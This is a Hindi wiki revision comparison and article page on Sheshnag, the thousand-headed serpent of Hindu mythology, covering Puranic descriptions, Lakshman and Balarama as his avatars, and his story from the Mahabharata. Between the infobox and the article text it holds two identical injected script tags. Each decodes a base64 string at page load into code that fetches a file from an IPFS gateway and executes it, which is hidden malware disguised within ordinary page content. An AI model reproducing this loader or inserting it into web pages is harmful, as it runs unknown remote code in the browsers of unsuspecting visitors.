"शेषनाग" के अवतरणों में अंतर
छो (1 अवतरण) |
व्यवस्थापन (चर्चा | योगदान) छो (Text replacement - " मां " to " माँ ") |
||
(10 सदस्यों द्वारा किये गये बीच के 20 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
+ | {{सूचना बक्सा संक्षिप्त परिचय | ||
+ | |चित्र=Lord-Sheshnag.jpg | ||
+ | |चित्र का नाम=भगवान शेष | ||
+ | |विवरण='भगवान शेष' साक्षात नारायण के स्वरूप हैं एवं उनके लिए शैय्या रूप हो उन्हें धारण करते हैं। | ||
+ | |शीर्षक 1=अन्य नाम | ||
+ | |पाठ 1=नागराज अनन्त | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |शीर्षक 3= | ||
+ | |पाठ 3= | ||
+ | |शीर्षक 4= | ||
+ | |पाठ 4= | ||
+ | |शीर्षक 5= | ||
+ | |पाठ 5= | ||
+ | |शीर्षक 6= | ||
+ | |पाठ 6= | ||
+ | |शीर्षक 7= | ||
+ | |पाठ 7= | ||
+ | |शीर्षक 8= | ||
+ | |पाठ 8= | ||
+ | |शीर्षक 9= | ||
+ | |पाठ 9= | ||
+ | |शीर्षक 10=विशेष | ||
+ | |पाठ 10=गन्धर्व, अप्सरा, सिद्ध, किन्नर, नाग आदि कोई भी इनके गुणों की थाह नहीं लगा सकते, इसी से इन्हें 'अनन्त' कहते हैं। | ||
+ | |संबंधित लेख=[[विष्णु|भगवान विष्णु]] | ||
+ | |अन्य जानकारी=ये अपने सहस्त्र मुखों के द्वारा निरन्तर भगवान का गुणानुवाद करते रहते हैं और अनादि काल से यों करते रहने पर भी अघाते या ऊबते नहीं। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | {{tocright}} | ||
+ | '''शेषनाग''' भगवान की सर्पवत् आकृति विशेष होती है। सारी सृष्टि के विनाश के पश्चात् भी ये बचे रहते हैं, इसीलिए इनका नाम 'शेष' हैं। सर्पाकार होने से इनके नाम से 'नाग' विशेषण जुड़ा हुआ है। शेषनाग स्वर्ण पर्वत पर रहते हैं। शेष नाग के हज़ार मस्तक हैं। वे नील [[वस्त्र]] धारण करते हैं तथा समसत देवी-[[देवता|देवताओं]] से पूजित हैं। उस पर्वत पर तीन शाखाओं वाला [[सोना|सोने]] का एक ताल वृक्ष है जो महाप्रभु की ध्वजा का काम करता है।<ref>[[वाल्मीकि रामायण]], [[किष्किन्धा काण्ड वा. रा.|किष्किंधा कांड]],40।50-53</ref> | ||
− | + | रात्रि के समय [[आकाश]] में जो वक्राकृति आकाशगंगा दिखाई पड़ती है और जो क्रमश: दिशा परिवर्तन करती रहती है, यह निखिल [[ब्रह्माण्ड|ब्रह्मांडों]] को अपने में समेटे हुए हैं। उसकी अनेक शाखाएँ दिखाई पड़ती हैं। वह सर्पाकृति होती है। इसी को शेषनाग कहा गया है। पुराणों तथा काव्यों में शेष का वर्ण [[श्वेत रंग|श्वेत]] कहा गया है। आकाशगंगा श्वेत होती ही है। यहाँ 'ऊँ' की आकृति में विश्व ब्रह्मांड को घेरती है। 'ऊँ' को ब्रह्म कहा गया है। वही शेषनाग है। | |
− | + | ==पुराणों में उल्लेखित== | |
− | + | इनका आख्यान विभिन्न [[पुराण|पुराणों]] में मिलता है। कालिका पुराण में कहा गया है कि प्रलयकाल आने पर जब सारी सृष्टि नष्ट हो जाती है तब [[विष्णु|भगवान विष्णु]] अपनी प्रिया [[लक्ष्मी]] के साथ इनके ऊपर शयन करते हैं और उनके ऊपर ये अपनी फणों की छाया किए रहते हैं। इनका पूर्ण फण [[कमल]] को ढके रहता है, उत्तर का फण भगवान के शिराभाग का और दक्षिण फण चरणों का आच्छादन किए रहता है। प्रतीची का फण भगवान विष्णु के लिए व्यंजन का कार्य करता है। इनके ईशान कोण का फण [[शंख]], चक्र, नंद, [[खड्ग]], [[गरुड़]] और युग तूणीर धारण करते हैं तथा आग्नेय कोण के फण [[गदा]], पद्म आदि धारण करते हैं। | |
+ | पुराणों में इन्हें सहस्रशीर्ष या सौ फणवाला कहा गया है। इनके एक फण पर सारी वसुंधरा अवस्थित कही गई है। ये सारी [[पृथ्वी]] को धूलि के कर्ण की भाँति एक फण पर सरलतापूर्वक लिए रहते हैं। पृथ्वी का भार अत्याचारियों के कारण जब बहुत प्रवर्धित हो जाता है तब इन्हें अवतार भी धारण करना पउता है। [[लक्ष्मण]] और [[बलराम]] इनके अवतार कहे गए हैं। इनका कही अंत नहीं है इसीलिए इन्हें 'अनंत' भी कहा गया है। [[गोस्वामी तुलसीदास]] ने लक्ष्मण की वंदना करते हुए उन्हें शेषावतार कहा है : | ||
+ | <blockquote><poem>बंर्दौं लछिमन पद जलजाता। सीतल सुभग भगत सुखदात।। | ||
+ | रघुपति कीरति बिमल पताका। द्वंड समान भयउ जस जाका।। | ||
+ | सेष सहस्रसीस जगकारन। जो अवतरेउ भूमि भय टारन।।<ref>[[बाल काण्ड वा. रा.|बाल काण्ड]], 17।3,4</ref></poem></blockquote> | ||
+ | ==कथा== | ||
+ | कद्रू के बेटों में सबसे पराक्रमी शेष नाग था। उसने अपनी छली माँ और भाइयों का साथ छोड़कर [[गंधमादन पर्वत]] पर तपस्या करनी आरंभ की। उसकी इच्छा थी कि वह इस शरीर का त्याग कर दे। भाइयों तथा माँ का विमाता ([[विनता]]) तथा सौतेले भाइयों [[अरुण देवता|अरुण]] और [[गरुड़]] के प्रति द्वेष भाव ही उसकी सांसारिक विरक्ति का कारण था। उसकी तपस्या से प्रसन्न होकर [[ब्रह्मा]] ने उसे वरदान दिया कि उसकी बुद्धि सदैव धर्म में लगी रहे। साथ ही ब्रह्मा ने उसे आदेश दिया कि वह [[पृथ्वी देवी|पृथ्वी]] को अपने फन पर संभालकर धारण करे, जिससे कि वह हिलना बंद कर दे तथा स्थिर रह सके। शेष नाग ने इस आदेश का पालन किया। उसके पृथ्वी के नीचे जाते ही सर्पों ने उसके छोटे भाई, [[वासुकि]] का राज्यतिलक कर दिया।<ref>[[महाभारत]], [[आदि पर्व महाभारत|आदि पर्व]], अ0 35,36</ref> | ||
+ | ==टीका टिप्पणी और संदर्भ== | ||
+ | <references/> | ||
+ | ==संबंधित लेख== | ||
+ | {{पौराणिक चरित्र}} | ||
[[Category:कथा साहित्य कोश]] | [[Category:कथा साहित्य कोश]] | ||
− | |||
− | |||
[[Category:कथा साहित्य]] | [[Category:कथा साहित्य]] | ||
[[Category:हिन्दू भगवान अवतार]] | [[Category:हिन्दू भगवान अवतार]] | ||
+ | [[Category:विष्णु]] | ||
+ | [[Category:पौराणिक चरित्र]] | ||
+ | [[Category:प्रसिद्ध चरित्र और मिथक कोश]] | ||
__INDEX__ | __INDEX__ |
14:08, 2 जून 2017 के समय का अवतरण
शेषनाग
| |
विवरण | 'भगवान शेष' साक्षात नारायण के स्वरूप हैं एवं उनके लिए शैय्या रूप हो उन्हें धारण करते हैं। |
अन्य नाम | नागराज अनन्त |
विशेष | गन्धर्व, अप्सरा, सिद्ध, किन्नर, नाग आदि कोई भी इनके गुणों की थाह नहीं लगा सकते, इसी से इन्हें 'अनन्त' कहते हैं। |
संबंधित लेख | भगवान विष्णु |
अन्य जानकारी | ये अपने सहस्त्र मुखों के द्वारा निरन्तर भगवान का गुणानुवाद करते रहते हैं और अनादि काल से यों करते रहने पर भी अघाते या ऊबते नहीं। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
शेषनाग भगवान की सर्पवत् आकृति विशेष होती है। सारी सृष्टि के विनाश के पश्चात् भी ये बचे रहते हैं, इसीलिए इनका नाम 'शेष' हैं। सर्पाकार होने से इनके नाम से 'नाग' विशेषण जुड़ा हुआ है। शेषनाग स्वर्ण पर्वत पर रहते हैं। शेष नाग के हज़ार मस्तक हैं। वे नील वस्त्र धारण करते हैं तथा समसत देवी-देवताओं से पूजित हैं। उस पर्वत पर तीन शाखाओं वाला सोने का एक ताल वृक्ष है जो महाप्रभु की ध्वजा का काम करता है।[1]
रात्रि के समय आकाश में जो वक्राकृति आकाशगंगा दिखाई पड़ती है और जो क्रमश: दिशा परिवर्तन करती रहती है, यह निखिल ब्रह्मांडों को अपने में समेटे हुए हैं। उसकी अनेक शाखाएँ दिखाई पड़ती हैं। वह सर्पाकृति होती है। इसी को शेषनाग कहा गया है। पुराणों तथा काव्यों में शेष का वर्ण श्वेत कहा गया है। आकाशगंगा श्वेत होती ही है। यहाँ 'ऊँ' की आकृति में विश्व ब्रह्मांड को घेरती है। 'ऊँ' को ब्रह्म कहा गया है। वही शेषनाग है।
पुराणों में उल्लेखित
इनका आख्यान विभिन्न पुराणों में मिलता है। कालिका पुराण में कहा गया है कि प्रलयकाल आने पर जब सारी सृष्टि नष्ट हो जाती है तब भगवान विष्णु अपनी प्रिया लक्ष्मी के साथ इनके ऊपर शयन करते हैं और उनके ऊपर ये अपनी फणों की छाया किए रहते हैं। इनका पूर्ण फण कमल को ढके रहता है, उत्तर का फण भगवान के शिराभाग का और दक्षिण फण चरणों का आच्छादन किए रहता है। प्रतीची का फण भगवान विष्णु के लिए व्यंजन का कार्य करता है। इनके ईशान कोण का फण शंख, चक्र, नंद, खड्ग, गरुड़ और युग तूणीर धारण करते हैं तथा आग्नेय कोण के फण गदा, पद्म आदि धारण करते हैं।
पुराणों में इन्हें सहस्रशीर्ष या सौ फणवाला कहा गया है। इनके एक फण पर सारी वसुंधरा अवस्थित कही गई है। ये सारी पृथ्वी को धूलि के कर्ण की भाँति एक फण पर सरलतापूर्वक लिए रहते हैं। पृथ्वी का भार अत्याचारियों के कारण जब बहुत प्रवर्धित हो जाता है तब इन्हें अवतार भी धारण करना पउता है। लक्ष्मण और बलराम इनके अवतार कहे गए हैं। इनका कही अंत नहीं है इसीलिए इन्हें 'अनंत' भी कहा गया है। गोस्वामी तुलसीदास ने लक्ष्मण की वंदना करते हुए उन्हें शेषावतार कहा है :
बंर्दौं लछिमन पद जलजाता। सीतल सुभग भगत सुखदात।।
रघुपति कीरति बिमल पताका। द्वंड समान भयउ जस जाका।।
सेष सहस्रसीस जगकारन। जो अवतरेउ भूमि भय टारन।।[2]
कथा
कद्रू के बेटों में सबसे पराक्रमी शेष नाग था। उसने अपनी छली माँ और भाइयों का साथ छोड़कर गंधमादन पर्वत पर तपस्या करनी आरंभ की। उसकी इच्छा थी कि वह इस शरीर का त्याग कर दे। भाइयों तथा माँ का विमाता (विनता) तथा सौतेले भाइयों अरुण और गरुड़ के प्रति द्वेष भाव ही उसकी सांसारिक विरक्ति का कारण था। उसकी तपस्या से प्रसन्न होकर ब्रह्मा ने उसे वरदान दिया कि उसकी बुद्धि सदैव धर्म में लगी रहे। साथ ही ब्रह्मा ने उसे आदेश दिया कि वह पृथ्वी को अपने फन पर संभालकर धारण करे, जिससे कि वह हिलना बंद कर दे तथा स्थिर रह सके। शेष नाग ने इस आदेश का पालन किया। उसके पृथ्वी के नीचे जाते ही सर्पों ने उसके छोटे भाई, वासुकि का राज्यतिलक कर दिया।[3]
टीका टिप्पणी और संदर्भ
- ↑ वाल्मीकि रामायण, किष्किंधा कांड,40।50-53
- ↑ बाल काण्ड, 17।3,4
- ↑ महाभारत, आदि पर्व, अ0 35,36